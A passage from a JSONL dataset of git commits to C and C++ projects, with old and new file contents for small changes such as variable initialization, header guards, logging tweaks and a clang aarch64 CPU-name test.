91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"546aa3b916172c46fa6df8f7a002949c3976c060","old_file":"Xcode\/Audio\/src\/user_color_sensor.h","new_file":"Xcode\/Audio\/src\/user_color_sensor.h","old_contents":"#include \"GRT\/GRT.h\"\n#include \"istream.h\"\n\nusing namespace GRT;\n\n\/\/ Normalize by dividing each dimension by the total magnitude.\n\/\/ Also add the magnitude as an additional feature.\nvector<double> normalize(vector<double> input) {\n    double magnitude;\n    \n    for (int i = 0; i < input.size(); i++) magnitude += (input[i] * input[i]);\n    magnitude = sqrt(magnitude);\n    for (int i = 0; i < input.size(); i++) input[i] \/= magnitude;\n    \n    input.push_back(magnitude);\n    \n    return input;\n}\n\nASCIISerialStream stream(9600, 3);\nGestureRecognitionPipeline pipeline;\n\nvoid setup() {\n    stream.useUSBPort(0);\n    stream.useNormalizer(normalize);\n    useStream(stream);\n    \n    pipeline.addPreProcessingModule(MovingAverageFilter(5, 4));\n    \/\/pipeline.addFeatureExtractionModule(TimeDomainFeatures(10, 1, 3, false, true, true, false, false));\n    pipeline.setClassifier(ANBC());\n    usePipeline(pipeline);\n}\n","new_contents":"#include \"GRT\/GRT.h\"\n#include \"istream.h\"\n\nusing namespace GRT;\n\n\/\/ Normalize by dividing each dimension by the total magnitude.\n\/\/ Also add the magnitude as an additional feature.\nvector<double> normalize(vector<double> input) {\n    double magnitude = 0.0;\n\n    for (int i = 0; i < input.size(); i++) magnitude += (input[i] * input[i]);\n    magnitude = sqrt(magnitude);\n    for (int i = 0; i < input.size(); i++) input[i] \/= magnitude;\n\n    input.push_back(magnitude);\n\n    return input;\n}\n\nASCIISerialStream stream(9600, 3);\nGestureRecognitionPipeline pipeline;\n\nvoid setup() {\n    stream.useUSBPort(0);\n    stream.useNormalizer(normalize);\n    useStream(stream);\n\n    pipeline.addPreProcessingModule(MovingAverageFilter(5, 4));\n    \/\/pipeline.addFeatureExtractionModule(TimeDomainFeatures(10, 1, 3, false, true, true, false, false));\n    pipeline.setClassifier(ANBC());\n    usePipeline(pipeline);\n}\n","subject":"Initialize double variable before use.","message":"Initialize double variable before use.\n\nAlso removed trailing spaces.\n","lang":"C","license":"bsd-3-clause","repos":"damellis\/ESP,damellis\/ESP"}
{"commit":"238cb4590508838cf420c23eece94715ce314a27","old_file":"CppChart\/Log.h","new_file":"CppChart\/Log.h","old_contents":"#ifndef LOG_H\n#define LOG_H\n\n#include <string>\n#include <iostream>\n#include <SFML\/Graphics.hpp>\n\ninline void Log(std::string str)\n{\n\tstd::cout << \"[\" << __LINE__ << \"] \" << __FUNCTION__ << \" : \" << str << std::endl;\n}\n\ninline void LogFnStart()\n{\n\tLog(\"Entered\");\n}\n\ninline void LogFnEnd()\n{\n\tLog(\"Finished\");\n}\n\ninline void NestedLog(std::string str)\n{\n\tstd::cout << \"\\n\\t\" << str << \"\\n\" << std::endl;\n}\n\nnamespace CppChart\n{\n\tstd::ostream& operator<<(std::ostream& stream, const sf::Vector2f& v);\n\tstd::ostream& operator<<(std::ostream& stream, const sf::Vector2u& v);\n\tstd::ostream& operator<<(std::ostream& stream, const sf::Color& c);\n\n\ttemplate <typename T>\n\tstd::string ToString(const T& val);\n}\n\n#endif","new_contents":"#ifndef LOG_H\n#define LOG_H\n\n#include <string>\n#include <iostream>\n#include <SFML\/Graphics.hpp>\n\ninline void Log(std::string str)\n{\n\tstd::cout << \"[\" << __LINE__ << \"] \" << __FUNCTION__ << \" : \" << str << std::endl;\n}\n\ninline void LogFnStart()\n{\n\tLog(\"Entered\");\n}\n\ninline void LogFnEnd()\n{\n\tLog(\"Finished\");\n}\n\ninline void NestedLog(std::string str)\n{\n\tstd::cout << \"\\n\\t\" << str << \"\\n\" << std::endl;\n}\n\nnamespace CppChart\n{\n\tstd::ostream& operator<<(std::ostream&, const sf::Vector2f&);\n\tstd::ostream& operator<<(std::ostream&, const sf::Vector2u&);\n\tstd::ostream& operator<<(std::ostream&, const sf::Color&);\n\n\ttemplate <typename T>\n\tstd::string ToString(const T&);\n}\n\n#endif","subject":"Delete argument names of function","message":"Delete argument names of function\n","lang":"C","license":"mit","repos":"utilForever\/CppChart"}
{"commit":"7a8eda6a9283448ffe1a164b7cfa39c832d3fec0","old_file":"searchlib\/src\/vespa\/searchlib\/queryeval\/equiv_blueprint.h","new_file":"searchlib\/src\/vespa\/searchlib\/queryeval\/equiv_blueprint.h","old_contents":"\/\/ Copyright Yahoo. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n\n#pragma once\n\n#include \"blueprint.h\"\n#include <vespa\/searchlib\/fef\/matchdatalayout.h>\n\nnamespace search::queryeval {\n\nclass EquivBlueprint : public ComplexLeafBlueprint\n{\nprivate:\n    FieldSpecBaseList          _fields;\n    HitEstimate                _estimate;\n    fef::MatchDataLayout       _layout;\n    std::vector<Blueprint::UP> _terms;\n    std::vector<double>        _exactness;\n\npublic:\n    EquivBlueprint(const FieldSpecBaseList &fields, fef::MatchDataLayout subtree_mdl);\n    virtual ~EquivBlueprint();\n\n    \/\/ used by create visitor\n    EquivBlueprint& addTerm(Blueprint::UP term, double exactness);\n\n    SearchIteratorUP createLeafSearch(const fef::TermFieldMatchDataArray &tfmda, bool strict) const override;\n    SearchIteratorUP createFilterSearch(bool strict, FilterConstraint constraint) const override;\n\n    void visitMembers(vespalib::ObjectVisitor &visitor) const override;\n    void fetchPostings(const ExecuteInfo &execInfo) override;\n    bool isEquiv() const override { return true; }\n};\n\n}\n","new_contents":"\/\/ Copyright Yahoo. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n\n#pragma once\n\n#include \"blueprint.h\"\n#include <vespa\/searchlib\/fef\/matchdatalayout.h>\n\nnamespace search::queryeval {\n\nclass EquivBlueprint : public ComplexLeafBlueprint\n{\nprivate:\n    FieldSpecBaseList          _fields;\n    HitEstimate                _estimate;\n    fef::MatchDataLayout       _layout;\n    std::vector<Blueprint::UP> _terms;\n    std::vector<double>        _exactness;\n\npublic:\n    EquivBlueprint(const FieldSpecBaseList &fields, fef::MatchDataLayout subtree_mdl);\n    ~EquivBlueprint() override;\n\n    \/\/ used by create visitor\n    EquivBlueprint& addTerm(Blueprint::UP term, double exactness);\n\n    SearchIteratorUP createLeafSearch(const fef::TermFieldMatchDataArray &tfmda, bool strict) const override;\n    SearchIteratorUP createFilterSearch(bool strict, FilterConstraint constraint) const override;\n\n    void visitMembers(vespalib::ObjectVisitor &visitor) const override;\n    void fetchPostings(const ExecuteInfo &execInfo) override;\n    bool isEquiv() const override { return true; }\n};\n\n}\n","subject":"Use override specifier for EquivBlueprint destructor.","message":"Use override specifier for EquivBlueprint destructor.\n","lang":"C","license":"apache-2.0","repos":"vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa"}
{"commit":"a846558b6addf536e5600d2a53e053bf07c92a5c","old_file":"examples\/output_file.c","new_file":"examples\/output_file.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <string.h>\n#include \"zf_log.h\"\n\n#define LOG_FILENAME \"test.log\"\n\nFILE *log_file;\n\nstatic void log_file_write(zf_log_output_ctx *ctx) {\n    *ctx->p = '\\n';\n\n    fwrite(ctx->buf, 1, (ctx->p + 1) - ctx->buf, log_file);\n\n    fflush(log_file);\n}\n\nint main(int argc, char *argv[])\n{\n    log_file = fopen(LOG_FILENAME, \"a+\");\n    if (NULL == log_file) {\n        printf(\"Failed to open log file.\\n\");\n    }\n\n    zf_log_set_output_callback(log_file_write);\n\n    ZF_LOGI(\"You will see the number of arguments: %i\", argc);\n    ZF_LOGI_MEM(argv, argc * sizeof(*argv), \"argv pointers:\");\n\n    fclose(log_file);\n\n    return 0;\n}\n","subject":"Add example which outputs log to a file.","message":"Add example which outputs log to a file.\n","lang":"C","license":"mit","repos":"wonder-mice\/zf_log,wonder-mice\/zf_log,wonder-mice\/zf_log"}
{"commit":"e56b0c0f248ae779a0abd9e1d5aa7f7420a03f64","old_file":"ios\/shared\/ios_sharedlo\/objective_c\/view_controllers\/testing_tiles\/MLOTestingTileParametersViewController.h","new_file":"ios\/shared\/ios_sharedlo\/objective_c\/view_controllers\/testing_tiles\/MLOTestingTileParametersViewController.h","old_contents":"\/\/ -*- Mode: ObjC; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- *\/\n\/\/\n\/\/ This file is part of the LibreOffice project.\n\/\/\n\/\/ This Source Code Form is subject to the terms of the Mozilla Public\n\/\/ License, v. 2.0. If a copy of the MPL was not distributed with this\n\/\/ file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n\n#import \"MLOViewController.h\"\n#import \"MLOTestingTileSubviewControllerProtocol.h\"\n\nstatic const CGFloat CONTEXT_WIDTH_DEFAULT = 450;\nstatic const CGFloat CONTEXT_HEIGHT_DEFAULT = 450;\nstatic const CGFloat TILE_POS_X_DEFAULT = 400;\nstatic const CGFloat TILE_POS_Y_DEFAULT = 420;\nstatic const CGFloat TILE_WIDTH_DEFAULT = 250;\nstatic const CGFloat TILE_HEIGHT_DEFAULT = 250;\n\n@interface MLOTestingTileParametersViewController : MLOViewController<MLOTestingTileSubviewControllerProtocol>\n@property CGFloat contextWidth, contextHeight, tilePosX, tilePosY, tileWidth, tileHeight;\n-(void)renderTile;\n@end\n","new_contents":"\/\/ -*- Mode: ObjC; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- *\/\n\/\/\n\/\/ This file is part of the LibreOffice project.\n\/\/\n\/\/ This Source Code Form is subject to the terms of the Mozilla Public\n\/\/ License, v. 2.0. If a copy of the MPL was not distributed with this\n\/\/ file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n\n#import \"MLOViewController.h\"\n#import \"MLOTestingTileSubviewControllerProtocol.h\"\n\n\/\/ The size of the actual pixel tile\nstatic const CGFloat CONTEXT_WIDTH_DEFAULT = 450;\nstatic const CGFloat CONTEXT_HEIGHT_DEFAULT = 450;\n\n\/\/ In our \"decatwips\"\nstatic const CGFloat TILE_POS_X_DEFAULT = 0;\nstatic const CGFloat TILE_POS_Y_DEFAULT = 0;\n\n\/\/ \"Tile\" size here means the decatwip size of the part of the document\n\/\/ rendered into the pixel tile\nstatic const CGFloat TILE_WIDTH_DEFAULT = 500;\nstatic const CGFloat TILE_HEIGHT_DEFAULT = 500;\n\n@interface MLOTestingTileParametersViewController : MLOViewController<MLOTestingTileSubviewControllerProtocol>\n@property CGFloat contextWidth, contextHeight, tilePosX, tilePosY, tileWidth, tileHeight;\n-(void)renderTile;\n@end\n","subject":"Adjust parameter defaults to give pleasant result","message":"Adjust parameter defaults to give pleasant result\n\nChange-Id: Ifee900344547ef25b2041d25c13fcbc50428485e\n","lang":"C","license":"mpl-2.0","repos":"JurassicWordExcel\/core,JurassicWordExcel\/core,JurassicWordExcel\/core,JurassicWordExcel\/core,JurassicWordExcel\/core,JurassicWordExcel\/core,JurassicWordExcel\/core,JurassicWordExcel\/core,JurassicWordExcel\/core,JurassicWordExcel\/core"}
{"commit":"f113d37eb04e24b4f047886918aefb1c3f545be0","old_file":"bugs\/typeof_asm_rewrite_interpose.c","new_file":"bugs\/typeof_asm_rewrite_interpose.c","old_contents":"","new_contents":"#define QUOTE_(x) #x\n#define QUOTE(x) QUOTE_(x)\n\ninline void f(int a, char *);\n\n__typeof(f) orig_f asm(QUOTE(__USER_LABEL_PREFIX__) \"f\");\n\ninline void f(int a, char *p) asm(QUOTE(__USER_LABEL_PREFIX__) \"f_wrapper_thunk\");\ninline void f(int a, char *p)\n{\n\torig_f(a+1, p+1);\n}\n\nint main()\n{\n\tf(0, \"hi\");\n}\n","subject":"Add example of using __asm__() to rewrite calls to a function","message":"Add example of using __asm__() to rewrite calls to a function\n","lang":"C","license":"mit","repos":"bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler"}
{"commit":"1c34607f3b280ab0b40835b8f57555f941ed2b6c","old_file":"src\/dyn_types.h","new_file":"src\/dyn_types.h","old_contents":"typedef uint64_t msgid_t;\ntypedef uint64_t msec_t;\ntypedef uint64_t usec_t;\n","new_contents":"#pragma once\ntypedef uint64_t msgid_t;\ntypedef uint64_t msec_t;\ntypedef uint64_t usec_t;\n","subject":"Fix compile error on CentOS","message":"Fix compile error on CentOS\n","lang":"C","license":"apache-2.0","repos":"Netflix\/dynomite,Netflix\/dynomite,Netflix\/dynomite,Netflix\/dynomite"}
{"commit":"53ab89427f4c061e86a3f43ef3d5e860601aec86","old_file":"src\/debugUtils.h","new_file":"src\/debugUtils.h","old_contents":"#pragma once\n#include <string>\n#include <iostream>\n#include <fstream>\n#include <exception>\n\n#include <boost\/format.hpp>\nusing boost::format;\n\nclass LogFile\n{\npublic:\n    LogFile();\n    explicit LogFile(const std::string& filename);\n    ~LogFile();\n\n    void open(const std::string& filename);\n    void close();\n\n    template <class T>\n    void write(const T& other, bool newline=true) {\n        if (haveFile) {\n            file << other;\n            if (newline) {\n                file << std::endl;\n            }\n        } else {\n            std::cout << other;\n            if (newline) {\n                std::cout << std::endl;\n            }\n        }\n    }\n\nprivate:\n    bool haveFile;\n    std::ofstream file;\n};\n\nclass debugParameters\n{\npublic:\n    static bool debugAdapt;\n    static bool debugRegrid;\n    static bool debugTimesteps;\n    static bool debugFlameRadiusControl;\n    static bool veryVerbose;\n};\n\nextern LogFile logFile;\n\nclass debugException : public std::exception\n{\npublic:\n    std::string errorString;\n    debugException(void);\n    ~debugException(void) throw() {}\n    debugException(const std::string& error);\n    virtual const char* what() throw();\n};\n","new_contents":"#pragma once\n#include <string>\n#include <iostream>\n#include <fstream>\n#include <exception>\n\n#include <boost\/format.hpp>\nusing boost::format;\n\nclass LogFile\n{\npublic:\n    LogFile();\n    explicit LogFile(const std::string& filename);\n    ~LogFile();\n\n    void open(const std::string& filename);\n    void close();\n\n    template <class T>\n    void write(const T& other, bool newline=true) {\n        if (haveFile) {\n            file << other;\n            if (newline) {\n                file << std::endl;\n            }\n        } else {\n            std::cout << other;\n            if (newline) {\n                std::cout << std::endl;\n            }\n#ifndef NDEBUG\n            std::cout.flush();\n            std::cerr.flush();\n#endif\n        }\n    }\n\nprivate:\n    bool haveFile;\n    std::ofstream file;\n};\n\nclass debugParameters\n{\npublic:\n    static bool debugAdapt;\n    static bool debugRegrid;\n    static bool debugTimesteps;\n    static bool debugFlameRadiusControl;\n    static bool veryVerbose;\n};\n\nextern LogFile logFile;\n\nclass debugException : public std::exception\n{\npublic:\n    std::string errorString;\n    debugException(void);\n    ~debugException(void) throw() {}\n    debugException(const std::string& error);\n    virtual const char* what() throw();\n};\n","subject":"Synchronize logging to stderr and stdout in debug mode","message":"Synchronize logging to stderr and stdout in debug mode\n","lang":"C","license":"mit","repos":"speth\/ember,speth\/ember,speth\/ember"}
{"commit":"648e6d93d6d7510d348eb5f30102490efdf55011","old_file":"test\/Frontend\/aarch64-target-cpu.c","new_file":"test\/Frontend\/aarch64-target-cpu.c","old_contents":"","new_contents":"\/\/ Ensure we support the various CPU names.\n\/\/\n\/\/ RUN: %clang_cc1 -triple aarch64-unknown-unknown -target-cpu cortex-a35 -verify %s\n\/\/ RUN: %clang_cc1 -triple aarch64-unknown-unknown -target-cpu cortex-a53 -verify %s\n\/\/ RUN: %clang_cc1 -triple aarch64-unknown-unknown -target-cpu cortex-a57 -verify %s\n\/\/ RUN: %clang_cc1 -triple aarch64-unknown-unknown -target-cpu cortex-a72 -verify %s\n\/\/ RUN: %clang_cc1 -triple aarch64-unknown-unknown -target-cpu cortex-a73 -verify %s\n\/\/ RUN: %clang_cc1 -triple aarch64-unknown-unknown -target-cpu cyclone -verify %s\n\/\/ RUN: %clang_cc1 -triple aarch64-unknown-unknown -target-cpu exynos-m1 -verify %s\n\/\/ RUN: %clang_cc1 -triple aarch64-unknown-unknown -target-cpu generic -verify %s\n\/\/ RUN: %clang_cc1 -triple aarch64-unknown-unknown -target-cpu kryo -verify %s\n\/\/ RUN: %clang_cc1 -triple aarch64-unknown-unknown -target-cpu vulcan -verify %s\n\/\/\n\/\/ expected-no-diagnostics\n","subject":"Add a test for aarch64 target CPU names.","message":"test\/Frontend: Add a test for aarch64 target CPU names.\n\nNothing else checked the target cpu names for aarch64 yet.\nAdd a test in the spirit of x86-target-cpu.c.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@276930 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"d44086db5a2aa362510d7ac1a1f2f401c8ff180c","old_file":"boards\/posix\/nrf52_bsim\/cmdline.h","new_file":"boards\/posix\/nrf52_bsim\/cmdline.h","old_contents":"","new_contents":"\/*\n * Copyright (c) 2019 Oticon A\/S\n *\n * SPDX-License-Identifier: Apache-2.0\n *\/\n\n\/**\n * This header exists solely to allow drivers meant for the native_posix board\n * to be used directly in the nrf52_bsim board.\n * Note that such reuse should be done with great care.\n *\n * The command line arguments parsing logic from native_posix was born as a copy\n * of the one from the BabbleSim's libUtil library\n * They are therefore mostly equal except for types and functions names.\n *\n * This header converts these so the native_posix call to dynamically register\n * command line arguments is passed to the nrf52_bsim one\n *\/\n\n#include \"..\/native_posix\/cmdline_common.h\"\n\nstatic inline void native_add_command_line_opts(struct args_struct_t *args)\n{\n\tvoid bs_add_extra_dynargs(struct args_struct_t *args);\n\tbs_add_extra_dynargs(args);\n}\n","subject":"Add header to allow reusing native_posix drivers","message":"nrf52_bsim: Add header to allow reusing native_posix drivers\n\nThis board and the native_posix board share the POSIX architecture.\nSome of the native_posix drivers\/backends only rely on the\nunderlaying operating system API, and do not require any special\nHW model to operate.\nTherefore it is quite easy to reuse some of them into this board.\n\nCurrently the only limitation for some, is the interface they use\nin the board to register their command line arguments.\nThis header provides a minimal shim to rename the, otherwise\nequivalent, call.\n\nSigned-off-by: Alberto Escolar Piedras <52be3174920ed06cbdfbcf9622a1a6c68e942617@oticon.com>\n","lang":"C","license":"apache-2.0","repos":"galak\/zephyr,Vudentz\/zephyr,zephyrproject-rtos\/zephyr,GiulianoFranchetto\/zephyr,nashif\/zephyr,Vudentz\/zephyr,galak\/zephyr,Vudentz\/zephyr,GiulianoFranchetto\/zephyr,zephyrproject-rtos\/zephyr,finikorg\/zephyr,GiulianoFranchetto\/zephyr,finikorg\/zephyr,finikorg\/zephyr,ldts\/zephyr,finikorg\/zephyr,Vudentz\/zephyr,nashif\/zephyr,zephyrproject-rtos\/zephyr,zephyrproject-rtos\/zephyr,finikorg\/zephyr,ldts\/zephyr,Vudentz\/zephyr,GiulianoFranchetto\/zephyr,nashif\/zephyr,galak\/zephyr,ldts\/zephyr,ldts\/zephyr,nashif\/zephyr,ldts\/zephyr,galak\/zephyr,nashif\/zephyr,GiulianoFranchetto\/zephyr,galak\/zephyr,Vudentz\/zephyr,zephyrproject-rtos\/zephyr"}
{"commit":"c473a67a06813dc3d4ae5d312633657d7093b324","old_file":"include\/materials\/NoEvapFreeEnergy.h","new_file":"include\/materials\/NoEvapFreeEnergy.h","old_contents":"\/****************************************************************\/\n\/* MOOSE - Multiphysics Object Oriented Simulation Environment  *\/\n\/*                                                              *\/\n\/*          All contents are licensed under LGPL V2.1           *\/\n\/*             See LICENSE for full restrictions                *\/\n\/****************************************************************\/\n\n#ifndef NOEVAPFREEENERGY_H\n#define NOEVAPFREEENERGY_H\n\n#include \"DerivativeFunctionMaterialBase.h\"\n\n\/\/Forward Declarations\nclass NoEvapFreeEnergy;\n\ntemplate<>\nInputParameters validParams<NoEvapFreeEnergy>();\n\n\/**\n * Material class that creates a piecewise free energy with supressed evaporation and its derivatives\n * for use with CHParsed and SplitCHParsed. F = .\n *\/\nclass NoEvapFreeEnergy : public DerivativeFunctionMaterialBase\n{\npublic:\n  NoEvapFreeEnergy(const InputParameters & parameters);\n\nprotected:\n  virtual Real computeF();\n  virtual Real computeDF(unsigned int j_var);\n  virtual Real computeD2F(unsigned int j_var, unsigned int k_var);\n\nprivate:\n  \/\/\/ Coupled variable value for the concentration \\f$ \\c \\f$.\n  VariableValue & _c;\n  unsigned int _c_var;\n};\n\n#endif \/\/NOEVAPFREEENERGY_H\n","new_contents":"\/****************************************************************\/\n\/* MOOSE - Multiphysics Object Oriented Simulation Environment  *\/\n\/*                                                              *\/\n\/*          All contents are licensed under LGPL V2.1           *\/\n\/*             See LICENSE for full restrictions                *\/\n\/****************************************************************\/\n\n#ifndef NOEVAPFREEENERGY_H\n#define NOEVAPFREEENERGY_H\n\n#include \"DerivativeFunctionMaterialBase.h\"\n\n\/\/Forward Declarations\nclass NoEvapFreeEnergy;\n\ntemplate<>\nInputParameters validParams<NoEvapFreeEnergy>();\n\n\/**\n * Material class that creates a piecewise free energy with supressed evaporation and its derivatives\n * for use with CHParsed and SplitCHParsed. F = .\n *\/\nclass NoEvapFreeEnergy : public DerivativeFunctionMaterialBase\n{\npublic:\n  NoEvapFreeEnergy(const InputParameters & parameters);\n\nprotected:\n  virtual Real computeF();\n  virtual Real computeDF(unsigned int j_var);\n  virtual Real computeD2F(unsigned int j_var, unsigned int k_var);\n\nprivate:\n  \/\/\/ Coupled variable value for the concentration \\f$ \\c \\f$.\n  const VariableValue & _c;\n  unsigned int _c_var;\n};\n\n#endif \/\/NOEVAPFREEENERGY_H\n","subject":"Add const in newly-added file.","message":"Add const in newly-added file.\n","lang":"C","license":"lgpl-2.1","repos":"dinayuryev\/panda,dinayuryev\/panda,dinayuryev\/panda"}
{"commit":"79e698a2b20277e2c7c8b2d2d688ff1529b8df9d","old_file":"src\/gfx\/extra\/json.h","new_file":"src\/gfx\/extra\/json.h","old_contents":"\/*\n * Copyright (C) 2015 Luke San Antonio\n * All rights reserved.\n *\/\n#pragma once\n#include \"rapidjson\/document.h\"\n#include \"glm\/glm.hpp\"\nnamespace redc\n{\n  inline glm::vec3 vec3_from_js_object(rapidjson::Value const& v) noexcept\n  {\n    return glm::vec3{v[\"x\"].GetDouble(),v[\"y\"].GetDouble(),v[\"z\"].GetDouble()};\n  }\n  inline glm::vec3 vec3_from_js_array(rapidjson::Value const& v) noexcept\n  {\n    return glm::vec3{v[0].GetDouble(),v[1].GetDouble(),v[2].GetDouble()};\n  }\n}\n","new_contents":"\/*\n * Copyright (C) 2015 Luke San Antonio\n * All rights reserved.\n *\/\n#pragma once\n#include \"rapidjson\/document.h\"\n#include \"glm\/glm.hpp\"\nnamespace redc\n{\n  inline glm::vec3 vec3_from_js_object(rapidjson::Value const& v) noexcept\n  {\n    return glm::vec3{v[\"x\"].GetDouble(),v[\"y\"].GetDouble(),v[\"z\"].GetDouble()};\n  }\n  inline glm::vec3 vec3_from_js_array(rapidjson::Value const& v) noexcept\n  {\n    return glm::vec3{v[0].GetDouble(),v[1].GetDouble(),v[2].GetDouble()};\n  }\n  inline bool load_js_vec3(rapidjson::Value const& v, glm::vec3& vec,\n                           std::string* err)\n  {\n    if(v.IsArray())\n    {\n      vec = vec3_from_js_array(v);\n      return true;\n    }\n    else if(v.IsObject())\n    {\n      vec = vec3_from_js_object(v);\n      return true;\n    }\n    else\n    {\n      if(err) (*err) = \"Invalid JSON; expected Vec3 (object or array)\";\n      return false;\n    }\n  }\n}\n","subject":"Support loading vec3s from JSON objects or arrays","message":"Support loading vec3s from JSON objects or arrays\n","lang":"C","license":"bsd-3-clause","repos":"RedCraneStudio\/redcrane-engine,RedCraneStudio\/redcrane-engine,RedCraneStudio\/redcrane-engine,RedCraneStudio\/redcrane-engine"}
{"commit":"d80d80192972f1a90b10a43b2a4f4c88fd66f88c","old_file":"vim\/avr\/compat.h","new_file":"vim\/avr\/compat.h","old_contents":"#pragma once\n\n#ifndef __AVR_ARCH__\n\n#include <unistd.h>\n\n#define _BV(bit) (1<<(bit))\n\ninline void _delay_ms(int ms) { usleep(ms*1000); }\ninline void _delay_us(int us) { usleep(us); }\n\nextern unsigned char UCSR0B;\nextern unsigned char DDRB;\nextern unsigned char DDRD;\nextern unsigned char PINB;\nextern unsigned char PIND;\nextern unsigned char PORTB;\nextern unsigned char PORTD;\n\n#endif\n","new_contents":"#pragma once\n\n#ifndef __AVR_ARCH__\n\n#include <unistd.h>\n\n#define _BV(bit) (1<<(bit))\n\ninline void _delay_ms(int ms) { usleep(ms*1000); }\ninline void _delay_us(int us) { usleep(us); }\n\nextern unsigned char UCSR0A;\nextern unsigned char UCSR0B;\nextern unsigned char UCSR0C;\nextern unsigned char UBRR0H;\nextern unsigned char UBRR0L;\nextern unsigned char DDRB;\nextern unsigned char DDRD;\nextern unsigned char PINB;\nextern unsigned char PIND;\nextern unsigned char PORTB;\nextern unsigned char PORTD;\nextern unsigned char UDR0;\n\n#define U2X0 1\n#define RXEN0 4\n#define TXEN0 3\n\n#endif\n","subject":"Add some more common ports and pins","message":"Add some more common ports and pins\n","lang":"C","license":"mit","repos":"vargad\/dotfiles,vargad\/dotfiles,vargad\/dotfiles"}
{"commit":"c4c2ca46421f642a05f12aa5d0ab7af8313c7df0","old_file":"extobjc\/extobjc.h","new_file":"extobjc\/extobjc.h","old_contents":"\/*\n *  extobjc.h\n *  extobjc\n *\n *  Created by Justin Spahr-Summers on 2010-11-09.\n *  Released into the public domain.\n *\/\n\n#import \"EXTADT.h\"\n#import \"EXTAspect.h\"\n#import \"EXTBlockMethod.h\"\n#import \"EXTBlockTarget.h\"\n#import \"EXTConcreteProtocol.h\"\n#import \"EXTDispatchObject.h\"\n#import \"EXTFinalMethod.h\"\n#import \"EXTKeyPathCoding.h\"\n#import \"EXTMaybe.h\"\n#import \"EXTMixin.h\"\n#import \"EXTMultiObject.h\"\n#import \"EXTNil.h\"\n#import \"EXTPrivateMethod.h\"\n#import \"EXTProtocolCategory.h\"\n#import \"EXTSafeCategory.h\"\n#import \"EXTScope.h\"\n#import \"EXTSwizzle.h\"\n#import \"EXTTuple.h\"\n#import \"EXTVarargs.h\"\n#import \"NSInvocation+EXT.h\"\n#import \"NSMethodSignature+EXT.h\"\n\n","new_contents":"\/*\n *  extobjc.h\n *  extobjc\n *\n *  Created by Justin Spahr-Summers on 2010-11-09.\n *  Released into the public domain.\n *\/\n\n#import \"EXTADT.h\"\n#import \"EXTAspect.h\"\n#import \"EXTBlockMethod.h\"\n#import \"EXTBlockTarget.h\"\n#import \"EXTConcreteProtocol.h\"\n#import \"EXTDispatchObject.h\"\n#import \"EXTFinalMethod.h\"\n#import \"EXTKeyPathCoding.h\"\n#import \"EXTMaybe.h\"\n#import \"EXTMixin.h\"\n#import \"EXTMultimethod.h\"\n#import \"EXTMultiObject.h\"\n#import \"EXTNil.h\"\n#import \"EXTPrivateMethod.h\"\n#import \"EXTProtocolCategory.h\"\n#import \"EXTSafeCategory.h\"\n#import \"EXTScope.h\"\n#import \"EXTSwizzle.h\"\n#import \"EXTTuple.h\"\n#import \"EXTVarargs.h\"\n#import \"NSInvocation+EXT.h\"\n#import \"NSMethodSignature+EXT.h\"\n\n","subject":"Add EXTMultimethod to umbrella header","message":"Add EXTMultimethod to umbrella header\n","lang":"C","license":"mit","repos":"sandyway\/libextobjc,kolyuchiy\/libextobjc,WPDreamMelody\/libextobjc,sunfei\/libextobjc,goodheart\/libextobjc,bboyesc\/libextobjc,sanojnambiar\/libextobjc,telly\/libextobjc,jiakai-lian\/libextobjc,liuruxian\/libextobjc,KBvsMJ\/libextobjc"}
{"commit":"c86aa8f5c20a9d85460851418d8ba92fab23bb30","old_file":"sql\/src\/client\/mem.h","new_file":"sql\/src\/client\/mem.h","old_contents":"#ifndef _MEM_H_ \n#define _MEM_H_ \n\n#include <config.h>\n\n#ifdef _MSC_VER\n#include <sql_config.h>\n#endif\n\n#include <stdio.h>\n#include <assert.h>\n\n#ifdef HAVE_MALLOC_H \n#include <malloc.h>\n#endif\n\n#define NEW( type ) (type*)malloc(sizeof(type) )\n#define NEW_ARRAY( type, size ) (type*)malloc((size)*sizeof(type))\n#define RENEW_ARRAY( type,ptr,size) (type*)realloc((void*)ptr,(size)*sizeof(type))\n#define NEWADT( size ) (adt*)malloc(size)\n#define _DELETE( ptr )\tfree(ptr)\n#define _strdup( ptr )\tstrdup((char*)ptr)\n\n#endif \/*_MEM_H_*\/\n","new_contents":"#ifndef _MEM_H_ \n#define _MEM_H_ \n\n#include <config.h>\n\n#include <sql_config.h>\n\n#include <stdio.h>\n#include <assert.h>\n\n#ifdef HAVE_MALLOC_H \n#include <malloc.h>\n#endif\n\n#define NEW( type ) (type*)malloc(sizeof(type) )\n#define NEW_ARRAY( type, size ) (type*)malloc((size)*sizeof(type))\n#define RENEW_ARRAY( type,ptr,size) (type*)realloc((void*)ptr,(size)*sizeof(type))\n#define NEWADT( size ) 